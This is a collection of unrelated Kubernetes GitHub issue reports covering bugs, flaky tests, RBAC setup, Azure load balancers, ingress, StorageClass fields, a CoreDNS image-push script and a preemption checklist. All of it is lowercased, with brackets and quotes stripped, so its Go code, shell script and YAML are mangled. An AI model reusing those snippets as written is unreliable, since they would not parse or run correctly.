this is not a bug nor a feature request, but code improvement.  in pkg/controller/informers/core.go  can we change the code to the following?  func  f  namespaceinformer  informer   cache.sharedindexinformer {     informertype := reflect.typeof &api.namespace{}      informer, exists := f.informers informertype      if exists {         return informer     } else {         f.lock.lock           defer f.lock.unlock           informer, exists := f.informers informertype          if !exists {             informer = newnamespaceinformer f.client, f.defaultresync              f.informers informertype  = informer         }         return informer     } } i am new comer to kubernetes and am studying the code. sorry if i understood wrongly.   henry

the bug is introduced in https://github.com/kubernetes/kubernetes/pull/38538\r \r the olddata, newdata in  line215  https://github.com/kubernetes/kubernetes/blob/01bfbb5fa0462189932b704be32401822a991627/pkg/kubectl/cmd/patch.go l215  seem always to be the same. so it always showing  not patched .\r \r after digging a bit, i found that:\r \r - the place where we save the  olddata  may be wrong.\r - sometimes olddata and newdata are different because of different  resourceversion s, even though the patch is  {} .\r \r cc: @juanvallejo @fabianofranz

scaling should happen in predictable order and halt if any stateful pod is unhealthy\ \r \r has been failing forever - possibly checking deprecated behavior?\r \r  jenkins  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/7 k8sio-statefulset-k8sio-basic-statefulset-functionality-statefulsetbasic-scaling-should-happen-in-predictable-order-and-halt-if-any-stateful-pod-is-unhealthy \r \r  test-grid  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20statefulset%5c%20%5c%5bk8s%5c.io%5c%5d%5c%20basic%5c%20statefulset%5c%20functionality%5c%20%5c%5bstatefulsetbasic%5c%5d%5c%20scaling%5c%20should%5c%20happen%5c%20in%5c%20predictable%5c%20order%5c%20and%5c%20halt%5c%20if%5c%20any%5c%20stateful%5c%20pod%5c%20is%5c%20unhealthy \r \r /assign @lavalamp \r 

neither feature or kind, but more a need to refactor the package to clean-up code.\r \r https://github.com/kubernetes/kubernetes/pull/55969 discussion_r152615610\r \r we have to similar code blocks that basically iterate over a list of paths, and determine if the path corresponded to a pod cgroup.\r \r after the referenced pr, the logic is scattered across two packages.  ideally the /stats/cadvisor package would have a common utility function that took a list of paths and returned a map of poduid to path so we don't have to understand the cgroupfs structure in two places.\r \r /cc jingxu97

 \r   what happened  :\r if a pod was created in any kubelet version <= v1.9, the path to container logs are\r    \r /var/log/pods/<pod-uuid>/<container-name>_<restart-count>.log\r    \r \r in v1.10 it changed to \r    \r /var/log/pods/<pod-uuid>/<container-name>/<restart-count>.log\r    \r \r   what you expected to happen  :\r if the log path for containers changed in any kubelet version, the kubelet should use the new log path for new pods but still fetch from the old log path for any existing pods. \r \r   how to reproduce it  as minimally and precisely as possible   :\r on v1.10, try to fetch the logs of any pod that was created in v1.9. \r    \r kubectl logs <pod> \r    \r \r   anything else we need to know?  :\r i was able to track down the commit where the bug was introduced https://github.com/kubernetes/kubernetes/commit/6649d38c96a34becea4fd6ae5031df9d19e0feed. \r

- azure cloud provider does not correctly handle failed calls to instance metadata endpoint. we currently handle transport errors but we don't handle response errors. ref: https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_instance_metadata.go l113\r \r we should handle  resp.statuscode != 200 -- this currently yields into empty ip address assigned to node objects.\r \r - remove the fall back to arm once the above has been fixed. this removes the need for having identities in  azure.json  in case of  useinstancemetadata = true \r \r - add  user-agent: golang/kubernetes  request header for all calls to instance metadata   \r \r - cache the instance metadadata response and reuse for responding to  nodeaddress  and the rest of the calls. we can limit the call to  once per min  or even less.\r \r @kubernetes/sig-azure \r @feiskyer \r \r   environment  :\r - kubernetes version  use  kubectl version  :  all \r - cloud provider or hardware configuration:  azure \r - os  e.g. from /etc/os-release :  ubuntu xenial \r - kernel  e.g.  uname -a  :  all \r - install tools:  all \r - others:\r \r <!-- do not edit below this line -->\r /king bug

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the azure cloud controller manager was unable to create an internet exposed load balancer with  type: loadbalancer  without any additional source addresses\r \r error encountered\r    \r e1205 22:27:36.049674       1 azure_backoff.go:348  processhttpretryresponse: backoff failure, will retry, err=network.securitygroupsclient createorupdate: failure sending request: statuscode=0 -- origina\r l error: code=\ securityruleparametercontainsunsupportedvalue\  message=\ security rule parameter sourceaddressprefix for rule with id /subscriptions/sub-id/resourcegroups/my-resource-group/providers/microsoft.network/networksecuritygroups/my-nsg/securityrules/abc123-tcp-80 cannot specify existin\r g virtualnetwork, internet, azureloadbalancer, ' ' or system tags. unsupported value used: internet.\  details=  \r    \r \r   what you expected to happen  : \r the azure cloud controller manager should create an internet exposed load balancer with  type: loadbalancer \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in an azure enabled cluster run the following:  kubectl apply -f nginx.yaml \r \r   nginx.yaml   \r \r    yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   labels:\r     app: nginx\r   name: nginx\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - image: nginx\r         name: nginx\r         resources: {}\r ---\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     app: nginx\r   name: nginx\r spec:\r   ports:\r   - name: \ 80\ \r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     app: nginx\r   type: loadbalancer\r    \r \r   anything else we need to know?  :\r \r my initial guess is that it is related to sending  sourceaddressprefixes:   \ internet\     as a list with only the value  internet  instead of sending  sourceaddressprefix: \ internet\   based on https://docs.microsoft.com/en-us/rest/api/virtualnetwork/securityrules/createorupdate request-body.\r \r lines of code:\r - https://github.com/kubernetes/kubernetes/blob/809eaa7025119712ca82c6f4dfa73a4a544ad7ec/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l1041\r - https://github.com/kubernetes/kubernetes/blob/809eaa7025119712ca82c6f4dfa73a4a544ad7ec/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l997\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    bash\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cloud controller manager is running at commit https://github.com/kubernetes/kubernetes/tree/809eaa7025 due to https://github.com/kubernetes/kubernetes/pull/71736\r \r <!-- do not edit below this line -->\r  

in getting my cluster set up with rbac, i discovered that kubernetes system components need to be explicitly allowed to access the api just like any other client. i had to add a clusterrole and clusterrolebinding for the kubelet  i.e. the common name in the k8s nodes' client certificate.  without them, the nodes could not register themselves and begin handling work.  it's also not clear how rbac affects the default service accounts. i'm trying to deploy kube-dns with this manifest:      yaml  --- apiversion: \ v1\  kind: \ namespace\  metadata:   name: \ kube-system\   --- apiversion: \ v1\  kind: \ service\  metadata:   name: \ kube-dns\    namespace: \ kube-system\    labels:     k8s-app: \ kube-dns\      kubernetes.io/cluster-service: \ true\      kubernetes.io/name: \ kubedns\  spec:   selector:     k8s-app: \ kube-dns\    clusterip: \ 10.3.0.10\    ports:     - name: \ dns\        port: 53       protocol: \ udp\      - name: \ dns-tcp\        port: 53       protocol: \ tcp\   --- apiversion: \ extensions/v1beta1\  kind: \ deployment\  metadata:   name: \ kube-dns\    namespace: \ kube-system\    labels:     k8s-app: \ kube-dns\      kubernetes.io/cluster-service: \ true\  spec:   replicas: 1   selector:     matchlabels:       k8s-app: \ kube-dns\    template:     metadata:       labels:         k8s-app: \ kube-dns\          kubernetes.io/cluster-service: \ true\      spec:       containers:         - name: \ kubedns\            image: \ gcr.io/google_containers/kubedns-amd64:1.5\            resources:             limits:               cpu: \ 100m\                memory: \ 200mi\              requests:               cpu: \ 100m\                memory: \ 100mi\            livenessprobe:             httpget:               path: \ /healthz\                port: 8080               scheme: \ http\              initialdelayseconds: 60             timeoutseconds: 5             successthreshold: 1             failurethreshold: 5           readinessprobe:             httpget:               path: \ /readiness\                port: 8081               scheme: \ http\              initialdelayseconds: 30             timeoutseconds: 5           args:             - \ --domain=cluster.local.\              - \ --dns-port=10053\            ports:             - containerport: 10053               name: \ dns-local\                protocol: \ udp\              - containerport: 10053               name: \ dns-tcp-local\                protocol: \ tcp\          - name: \ dnsmasq\            image: \ gcr.io/google_containers/kube-dnsmasq-amd64:1.3\            args:             - \ --cache-size=1000\              - \ --no-resolv\              - \ --server=127.0.0.1 10053\            ports:             - containerport: 53               name: \ dns\                protocol: \ udp\              - containerport: 53               name: \ dns-tcp\                protocol: \ tcp\          - name: \ healthz\            image: \ gcr.io/google_containers/exechealthz-amd64:1.0\            resources:             limits:               cpu: \ 10m\                memory: \ 20mi\              requests:               cpu: \ 10m\                memory: \ 20mi\            args:             - \ -cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null\              - \ -port=8080\              - \ -quiet\            ports:             - containerport: 8080               protocol: \ tcp\        dnspolicy: \ default\       and the pod fails to start, showing this in the kube-dns container's logs:      i0719 08:34:53.090618       1 server.go:91  using https://10.3.0.1:443 for kubernetes master i0719 08:34:53.103017       1 server.go:92  using kubernetes api <nil> i0719 08:34:53.104573       1 server.go:132  starting skydns server. listening on port:10053 i0719 08:34:53.104682       1 server.go:139  skydns: metrics enabled on :/metrics i0719 08:34:53.104708       1 dns.go:166  waiting for service: default/kubernetes i0719 08:34:53.105794       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0  i0719 08:34:53.105830       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0  e0719 08:34:53.441778       1 reflector.go:216  pkg/dns/dns.go:155: failed to list  api.service: the server has asked for the client to provide credentials  get services  e0719 08:34:53.442089       1 reflector.go:216  pkg/dns/dns.go:154: failed to list  api.endpoints: the server has asked for the client to provide credentials  get endpoints  i0719 08:34:53.443210       1 dns.go:172  ignoring error while waiting for service default/kubernetes: the server has asked for the client to provide credentials  get services kubernetes . sleeping 1s before retrying. i0719 08:34:53.537722       1 dns.go:439  received dns request:kubernetes.default.svc.cluster.local., exact:false i0719 08:34:53.537854       1 dns.go:539  records:  , retval:  , path: local cluster svc default kubernetes  i0719 08:34:53.540060       1 dns.go:439  received dns request:kubernetes.default.svc.cluster.local., exact:false i0719 08:34:53.540077       1 dns.go:539  records:  , retval:  , path: local cluster svc default kubernetes  e0719 08:34:54.443840       1 reflector.go:216  pkg/dns/dns.go:155: failed to list  api.service: the server has asked for the client to provide credentials  get services  i0719 08:34:54.536969       1 dns.go:172  ignoring error while waiting for service default/kubernetes: the server has asked for the client to provide credentials  get services kubernetes . sleeping 1s before retrying. e0719 08:34:54.537063       1 reflector.go:216  pkg/dns/dns.go:154: failed to list  api.endpoints: the server has asked for the client to provide credentials  get endpoints       with that error recurring infinitely.  i added this subject to my full access clusterrolebinding:      yaml kind: \ serviceaccount\  name: \ default\  namespace: \  \       but that didn't fix it.  documentation for how to bootstrap rbac so that all kubernetes's own components work should be added. if someone can add some details here, i can make a pr to the docs website myself.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-serial-release-1.4/487/  failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:950 expected error:     < errors.statuserror | 0xc821579480>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-sched-pred-9l6j0/pods/with-podaffinity-a573ff15-ac2c-11e6-8a70-0242ac110002\\\\\\\ \\\   has prevented the request from succeeding  get pods with-podaffinity-a573ff15-ac2c-11e6-8a70-0242ac110002 \ ,             reason: \ internalerror\ ,             details: {                 name: \ with-podaffinity-a573ff15-ac2c-11e6-8a70-0242ac110002\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/namespaces/e2e-tests-sched-pred-9l6j0/pods/with-podaffinity-a573ff15-ac2c-11e6-8a70-0242ac110002\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-sched-pred-9l6j0/pods/with-podaffinity-a573ff15-ac2c-11e6-8a70-0242ac110002\\\ \   has prevented the request from succeeding  get pods with-podaffinity-a573ff15-ac2c-11e6-8a70-0242ac110002  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:948

is this a bug report or feature request?  :\r >  \r \r   what happened  :\r \r now rbac can only enable or disable request to list namespaces.\r \r   what you expected to happen  :\r  \r i hope to list partial namespaces in which i can access namespaced resource. or i can list only \ gettable\  namespaces.\r \r   environment  :\r - kubernetes version v1.6\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   / cc @kubernetes/sig-storage-bugs \r \r   what happened  :\r local pv test has flaked twice today due to pvc failing to bind.\r \r  log  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/15441 \r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gci-gce-alpha \r \r looking at the  log  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/15441/artifacts/bootstrap-e2e-master/kube-controller-manager.log , it seems like the bind failed because the pv object was out of date, but we never resynced the pv object.\r \r    \r i0905 22:41:16.205501      19 pv_controller.go:780  updating persistentvolume local-pvxhlvt : binding to \ e2e-tests-persistent-local-volumes-test-9t4zw/pvc-g5swm\  failed: operation cannot be fulfilled on persistentvolumes \ local-pvxhlvt\ : the object has been modified; please apply your changes to the latest version and try again\r i0905 22:41:16.205545      19 pv_controller.go:864  error binding volume \ local-pvxhlvt\  to claim \ e2e-tests-persistent-local-volumes-test-9t4zw/pvc-g5swm\ : failed saving the volume: operation cannot be fulfilled on persistentvolumes \ local-pvxhlvt\ : the object has been modified; please apply your changes to the latest version and try again\r i0905 22:41:16.205561      19 pv_controller_base.go:233  could not sync claim \ e2e-tests-persistent-local-volumes-test-9t4zw/pvc-g5swm\ : operation cannot be fulfilled on persistentvolumes \ local-pvxhlvt\ : the object has been modified; please apply your changes to the latest version and try again\r

the service controller currently uses a custom  object  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/service_controller.go l77  that keeps track of the backoff retry for a given service. from what i can tell, every error should be retryable so we should migrate to the rate limiting work queue w/ exponential backoff.\r we'll just want to make sure that we  don't  check the retry count and drop items from the queue like other controllers because we want to keep the try forever logic.\r \r this should simplify the logic quite a bit since we can use shared utils instead of custom ones. \r \r /assign\r  /area cloudprovider\r \r cc @luxas @wlan0 @andrewsykim \r

i find so many flakes about this case.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58445/pull-kubernetes-unit/77656/

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i'm trying to expose a service that has no selector on ingress  with kubernetes official nginx controller .\r \r the service without the selector works fine when i set it as nodeport, and it uses the endpoint that i define manually.\r \r however, once i setup an ingress resource pointing to this service i cannot get it working.\r \r this is what nginx complains about:\r \r    \r connect   failed  111: connection refused  while connecting to upstream, client: 192.168.99.1, server: example, request: \ get / http/1.1\ , upstream: \ http://127.0.0.1:8181/\ , host: \ example\ \r connect   failed  111: connection refused  while connecting to upstream, client: 192.168.99.1, server: example, request: \ get /favicon.ico http/1.1\ , upstream: \ http://127.0.0.1:8181/favicon.ico\ , host: \ example\ , referrer: \ http://example/\ \r \r    \r and these are my service and ingress resources:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: example\r   labels:\r     app: example\r spec:\r   ports:\r     - name: http\r       protocol: tcp\r       port: 8080\r       targetport: http\r \r \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: example\r   labels:\r     app: example\r spec:\r   rules:\r     - host: myhostname\r       http:\r         paths:\r           - path: /\r             backend:\r               servicename: example\r               serviceport: http\r    \r note: i'm manually editing the endpoint for the service after the deployment. but i don't see how this could make any difference.\r \r \r i've added an additional service with a selector, running side by side with the other one that has no selector.\r \r when i have the ingress pointing to the one with no selector, this is the upstream on nginx:\r \r    \r upstream default-old-joey-app.example-no-selector {\r     least_conn;\r \r     server 127.0.0.1:8181 max_fails=1 fail_timeout=10s;\r \r }\r    \r \r as soon as i switch the ingress resource to point to the service with selector, nginx's updstream is updated to:\r \r    \r upstream default-old-joey-app.example-with-selector {\r     least_conn;\r \r     server 172.17.0.5:8080 max_fails=1 fail_timeout=10s;\r \r }\r    \r \r   what you expected to happen  :\r the upstream should be correctly updated when using a service without a selector.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using example resources above.\r \r   environment  :\r - kubernetes version  use  kubectl version  : client=\ v1.10.0\ , server=\ v1.9.4\ \r - nginx ingress version: nginx/nginx-ingress:1.2.0\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i'm trying to create a storageclass for aws and set the parameter \ allowvolumeexpansion\  and it doesn't seem to get set.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use this storageclass yaml:\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: kafka-blockstorage\r provisioner: kubernetes.io/aws-ebs\r reclaimpolicy: retain\r allowvolumeexpansion: true\r parameters:\r   type: gp2\r   encrypted: \ true\ \r    \r apply that config using kubectl:\r \r  kubectl apply -f my.yaml \r \r then go look at what got set/created:\r \r  kubectl describe storageclass kafka-blockstorage \r \r this is the result i'm seeing:\r \r    \r name:            kafka-blockstorage\r isdefaultclass:  no\r annotations:     kubectl.kubernetes.io/last-applied-configuration={\ allowvolumeexpansion\ :true,\ apiversion\ :\ storage.k8s.io/v1\ ,\ kind\ :\ storageclass\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ kafka-blockstorage\ ,\ namespace\ :\ \ },\ parameters\ :{\ encrypted\ :\ true\ ,\ type\ :\ gp2\ },\ provisioner\ :\ kubernetes.io/aws-ebs\ ,\ reclaimpolicy\ :\ retain\ }\r \r provisioner:           kubernetes.io/aws-ebs\r parameters:            encrypted=true,type=gp2\r allowvolumeexpansion:  <unset>\r mountoptions:          <none>\r reclaimpolicy:         retain\r volumebindingmode:     immediate\r events:                <none>\r    \r \r   anything else we need to know?  :\r i also tried using  \ true\   as the value for allowvolumeexpansion and that didn't work either.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-22t05:40:33z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws cluster created using kops\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

need to push the latest coredns image to gcr.io\r the 1.2.6 image is available in docker coredns/coredns:1.2.6\r \r  \r this is the script used for pushing the image:\r \r    \r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.2.6 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r    \r \r /cc @chrisohaver \r /cc @bentheelder\r /cc @timothysc\r /cc @aishsundar \r /cc @dims \r /assign @thockin\r \r @fturib \r \r   

\r \r   is this a bug report or feature request?    choose one :\r not sure\r  \r   environment  :\r k8s cluster based on metal machines and os is centos 7\r \r   what happened  :\r i run kubectl create -f <yaml file> to create deployment and pod.\r the special part here is i want the namespace and image value be variable\r but apparently yaml file know it is variable but it can not resolve it.\r \r i posted it to ansible community https://github.com/ansible/ansible/issues/19419\r as the yaml file is kubernetes template file, i come here and want to know \r where does the yaml file find the variable. if i know the places i may try to prepare it there.\r \r \r   what you expected to happen  :\r i hope the template yaml file can resolve the variable by any ways as \r -- kubectl create provide some variable optional \r -- env\r other ways are welcome\r \r \r   how to reproduce it    as minimally and precisely as possible :\r detail is in https://github.com/ansible/ansible/issues/19419\r the command is \r  kubectl create -f deploy-gitlab.yaml \r \r    \r $ cat yaml/deploy-gitlab.yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: \ {{ namespace }}-gitlab\ \r   namespace: \ {{ namespace }}\ \r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: \ {{ namespace }}-gitlab\ \r   template:\r     metadata:\r       labels:\r         run: \ {{ namespace }}-gitlab\ \r     spec:\r       containers:\r       - image: gitlab/gitlab-ce:8.13.6-ce.0\r         imagepullpolicy: always\r         name: \ {{ namespace }}-gitlab\ \r         ports:\r         - containerport: 443\r           protocol: tcp\r         - containerport: 22\r           protocol: tcp\r         - containerport: 80\r           protocol: tcp\r    \r \r got error: \r  \ stderr\ : \ error from server: error when creating \ /root/temp-bruce/deploy-on-k8s/yaml/deploy-gitlab.yaml\ : namespaces \ {{ namespace }}\  not found\ , \r   anything else do we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r request for help. no help was available in troubleshooting.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r access headless service outside the k8 system\r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.3.8 and 1.4.8\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : ubuntu 14.04\r -   kernel    e.g.  uname -a  : linux ubuntu216 4.2.0-27-generic  32~14.04.1-ubuntu smp \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r after creating zookeeper headset service, how to access it? as nodeport,cluster ip is not created.\r \r   what you expected to happen  :\r need a way to access zookeeper nodes from external services running outside k8s  kubernetes \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

for reference, https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-100-gce/2974/artifacts/apiresponsiveness_load_2017-05-29t04:46:11-07:00.json does not show any 'list secrets' calls.\r however, there clearly are some of those calls as seen from the apiserver logs:\r \r    \r i0529 11:30:07.042620       6 wrap.go:42  get /api/v1/secrets?resourceversion=0:  368.182µs  200   kube-apiserver/v1.7.0  linux/amd64  kubernetes/a673d99   ::1 :34350 \r i0529 11:30:10.216566       6 wrap.go:42  get /api/v1/secrets?resourceversion=0:  368.316µs  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/shared-informers   ::1 :34396 \r i0529 11:30:13.579150       6 wrap.go:42  get /api/v1/namespaces/kube-system/secrets?fieldselector=type%3dkubernetes.io%2fservice-account-token:  2.715222ms  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/controller-manager   ::1 :34396 \r i0529 11:30:23.643913       6 wrap.go:42  get /api/v1/namespaces/kube-system/secrets?fieldselector=type%3dkubernetes.io%2fservice-account-token:  5.145701ms  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/controller-manager   ::1 :34396 \r i0529 11:46:16.853191       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-load-9nc83/secrets:  2.976747ms  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/system:serviceaccount:kube-system:namespace-controller   ::1 :34396 \r i0529 11:46:17.782950       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-load-9nc83/secrets:  1.119719ms  200   e2e.test/v1.7.0  linux/amd64  kubernetes/a673d99  104.154.240.179:37413 \r i0529 11:46:26.709458       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-load-30-nodepods-1-1ptk9/secrets:  2.227397ms  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/system:serviceaccount:kube-system:namespace-controller   ::1 :34396 \r i0529 11:46:27.859244       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-load-30-nodepods-1-1ptk9/secrets:  1.400804ms  200   e2e.test/v1.7.0  linux/amd64  kubernetes/a673d99  104.154.240.179:37413 \r i0529 11:55:06.708531       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-wjh18/secrets:  2.9299ms  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/system:serviceaccount:kube-system:namespace-controller   ::1 :34396 \r i0529 11:55:07.745993       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-wjh18/secrets:  1.78154ms  200   e2e.test/v1.7.0  linux/amd64  kubernetes/a673d99  104.154.240.179:37413 \r i0529 11:55:12.875795       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-vkxn8/secrets:  1.655231ms  200   kube-controller-manager/v1.7.0  linux/amd64  kubernetes/a673d99/system:serviceaccount:kube-system:namespace-controller   ::1 :34396 \r i0529 11:55:15.839837       6 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-vkxn8/secrets:  984.57µs  200   e2e.test/v1.7.0  linux/amd64  kubernetes/a673d99  104.154.240.179:37413 \r ...\r ...\r    \r \r cc @wojtek-t @gmarek

here is a list of items we need to add pod  preemption. these items are not the same size and some may need more work. we can break those down later into smaller tasks if needed.\r \r -  x  add a design doc to add  kubernetes api.\r -  x  add pod priority\r   -  x  add  to podspec.\r   -  x  add priorityclass api object.\r   -  x  add an admission controller for priority.\r -  x  add a design doc for priority-based preemption.\r -  x  incorporate  pod scheduling logic  to fix the starvation problem \r -  x  support poddisruptionbudget in preemption.\r -  x  add priority-base preemption to scheduler.\r -  x  quota per priority\r   -  x  add  to resourcequota.\r   -  x  incorporate  quota checks.\r -  x  add documentation on how to use pod  its effects on behavior of the system.

